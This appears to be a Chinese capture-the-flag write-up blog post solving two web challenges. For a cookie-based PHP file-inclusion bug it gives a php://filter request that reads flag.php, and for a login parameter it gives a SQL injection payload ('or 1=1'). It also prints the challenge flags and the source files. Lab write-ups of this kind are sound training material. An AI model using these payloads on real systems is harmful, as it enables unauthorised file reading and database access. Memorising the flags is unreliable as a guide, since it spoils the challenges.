攻防世界-WEB-10/6练习

fileinclude

打开题目发现php代码,发现cookie处存在文件包含漏洞

<?php
if( !ini_get('display_errors') ) {
  ini_set('display_errors', 'On');
  }
error_reporting(E_ALL);
$lan = $_COOKIE['language'];
if(!$lan)
{
	@setcookie("language","english");
	@include("english.php");
}
else
{
	@include($lan.".php");
}
$x=file_get_contents('index.php');
echo $x;
?>

在这里插入图片描述

构造payload

通过base64 读取flag.php文件

GET / HTTP/1.1
Host: 61.147.171.105:60325
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Cookie:language=php://filter/read=convert.base64-encode/resource=flag

在这里插入图片描述

解密后得到flag

cyberpeace{324be44cf875ca44e495c247596618c8}

在这里插入图片描述

同时根据题目信息得到该环境存在如下文件: index.php flag.php english.php chinese.php 有兴趣可以自己搭建看看。

依次读取内容如下:

#index.php
<html>
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /></head>

<?php
if( !ini_get('display_errors') ) {
  ini_set('display_errors', 'On');
  }
error_reporting(E_ALL);
$lan = $_COOKIE['language'];
if(!$lan)
{
	@setcookie("language","english");
	@include("english.php");
}
else
{
	@include($lan.".php");
}
$x=file_get_contents('index.php');
echo $x;
?>
</html>
#flag.php
<?php
$flag="cyberpeace{324be44cf875ca44e495c247596618c8}";
?>
#english.php
Please choose the language you want : English or Chinese
<?php
echo "<h1>Hi,EveryOne,The flag is in flag.php</h1>";
?>
#chinese.php
Please choose the language you want : English or Chinese
<?php

	echo "<h1>HI,flag在flag.php</h1>";
	?>

inget

打开题目提示让传参id并尝试绕过waf

在这里插入图片描述

构造payload 得到flag,没有什么难度

?id=1' or 1=1--+

 cyberpeace{af0b21ac8ef39d514c807499d0b4fc8a}

在这里插入图片描述

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

SwBack

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值